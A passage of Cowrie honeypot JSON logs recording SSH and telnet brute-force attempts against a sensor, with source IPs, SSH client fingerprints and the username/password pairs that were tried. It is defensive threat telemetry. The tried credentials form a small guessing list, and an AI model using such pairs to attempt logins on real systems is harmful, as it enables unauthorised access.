01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:04.844064Z","src_ip":"77.94.47.83","session":"832cdffbb8fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pickup","message":"login attempt [root/pickup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:05.161527Z","src_ip":"77.94.47.83","session":"832cdffbb8fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:06.270847Z","src_ip":"77.94.47.83","session":"832cdffbb8fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.0377938747406,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:06.654103Z","src_ip":"170.64.224.25","session":"93cd2f5934a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":58688,"dst_ip":"159.203.135.109","dst_port":22,"session":"404009981716","protocol":"ssh","message":"New connection: 103.122.221.179:58688 (159.203.135.109:22) [session: 404009981716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:17.152627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:17.156318Z","src_ip":"103.122.221.179","session":"404009981716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:17.403809Z","src_ip":"103.122.221.179","session":"404009981716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130995","message":"login attempt [root/130995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:18.148940Z","src_ip":"103.122.221.179","session":"404009981716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:19.400030Z","src_ip":"103.122.221.179","session":"404009981716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39604,"dst_ip":"159.203.135.109","dst_port":22,"session":"86414e37f926","protocol":"ssh","message":"New connection: 109.237.96.109:39604 (159.203.135.109:22) [session: 86414e37f926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:51.717211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:51.720661Z","src_ip":"109.237.96.109","session":"86414e37f926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:51.810210Z","src_ip":"109.237.96.109","session":"86414e37f926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221195","message":"login attempt [root/221195] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:52.085247Z","src_ip":"109.237.96.109","session":"86414e37f926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:53.176203Z","src_ip":"109.237.96.109","session":"86414e37f926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":54078,"dst_ip":"10.17.0.5","dst_port":22,"session":"cda500c82119","protocol":"ssh","message":"New connection: 91.92.40.176:54078 (10.17.0.5:22) [session: cda500c82119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:15.399806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:15.402544Z","src_ip":"91.92.40.176","session":"cda500c82119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:15.486233Z","src_ip":"91.92.40.176","session":"cda500c82119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:15.738878Z","src_ip":"91.92.40.176","session":"cda500c82119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:16.822690Z","src_ip":"91.92.40.176","session":"cda500c82119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":57630,"dst_ip":"159.203.135.109","dst_port":22,"session":"e786bd237a7d","protocol":"ssh","message":"New connection: 31.179.197.26:57630 (159.203.135.109:22) [session: e786bd237a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:55.440050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:55.444125Z","src_ip":"31.179.197.26","session":"e786bd237a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:55.552673Z","src_ip":"31.179.197.26","session":"e786bd237a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epo","password":"123456","message":"login attempt [epo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:56.023340Z","src_ip":"31.179.197.26","session":"e786bd237a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:35:57.134215Z","src_ip":"31.179.197.26","session":"e786bd237a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.56.79.53","src_port":56508,"dst_ip":"10.17.0.5","dst_port":22,"session":"11ed14aab7fd","protocol":"ssh","message":"New connection: 45.56.79.53:56508 (10.17.0.5:22) [session: 11ed14aab7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:36:48.477981Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:36:48.706220Z","src_ip":"45.56.79.53","session":"11ed14aab7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60418,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fc87071117","protocol":"telnet","message":"New connection: 137.184.5.188:60418 (159.203.135.109:23) [session: 95fc87071117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:03.298667Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":40746,"dst_ip":"10.17.0.5","dst_port":22,"session":"389b1b50d53e","protocol":"ssh","message":"New connection: 162.241.132.183:40746 (10.17.0.5:22) [session: 389b1b50d53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:21.736856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:21.741712Z","src_ip":"162.241.132.183","session":"389b1b50d53e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:21.768825Z","src_ip":"162.241.132.183","session":"389b1b50d53e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samourai","password":"S@f3!P#ssw0rd$33","message":"login attempt [samourai/S@f3!P#ssw0rd$33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:21.857852Z","src_ip":"162.241.132.183","session":"389b1b50d53e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:22.887881Z","src_ip":"162.241.132.183","session":"389b1b50d53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51074,"dst_ip":"10.17.0.5","dst_port":22,"session":"2123b03db282","protocol":"ssh","message":"New connection: 91.92.40.176:51074 (10.17.0.5:22) [session: 2123b03db282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:43.019637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:43.281876Z","src_ip":"91.92.40.176","session":"2123b03db282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:43.283979Z","src_ip":"91.92.40.176","session":"2123b03db282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:43.678068Z","src_ip":"91.92.40.176","session":"2123b03db282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:44.770146Z","src_ip":"91.92.40.176","session":"2123b03db282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43238,"dst_ip":"159.203.135.109","dst_port":23,"session":"56441ed64aab","protocol":"telnet","message":"New connection: 137.184.5.188:43238 (159.203.135.109:23) [session: 56441ed64aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:48.042485Z"}
{"eventid":"cowrie.session.closed","duration":47.58760976791382,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:50.886051Z","src_ip":"137.184.5.188","session":"95fc87071117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":44500,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d0796c4e574","protocol":"telnet","message":"New connection: 137.184.5.188:44500 (159.203.135.109:23) [session: 2d0796c4e574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:37:51.995968Z"}
{"eventid":"cowrie.session.closed","duration":45.96674132347107,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:38:34.009025Z","src_ip":"137.184.5.188","session":"56441ed64aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.1363046169281,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:38:41.132199Z","src_ip":"137.184.5.188","session":"2d0796c4e574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":56038,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dd9f250311e","protocol":"ssh","message":"New connection: 162.241.132.183:56038 (159.203.135.109:22) [session: 9dd9f250311e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:38:44.114856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:38:44.117823Z","src_ip":"162.241.132.183","session":"9dd9f250311e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:38:44.143565Z","src_ip":"162.241.132.183","session":"9dd9f250311e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samourai","password":"S@f3!P#ssw0rd$33","message":"login attempt [samourai/S@f3!P#ssw0rd$33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:38:44.221412Z","src_ip":"162.241.132.183","session":"9dd9f250311e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:38:45.250365Z","src_ip":"162.241.132.183","session":"9dd9f250311e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60332,"dst_ip":"159.203.135.109","dst_port":23,"session":"e991afa82b73","protocol":"telnet","message":"New connection: 137.184.5.188:60332 (159.203.135.109:23) [session: e991afa82b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:39:00.074459Z"}
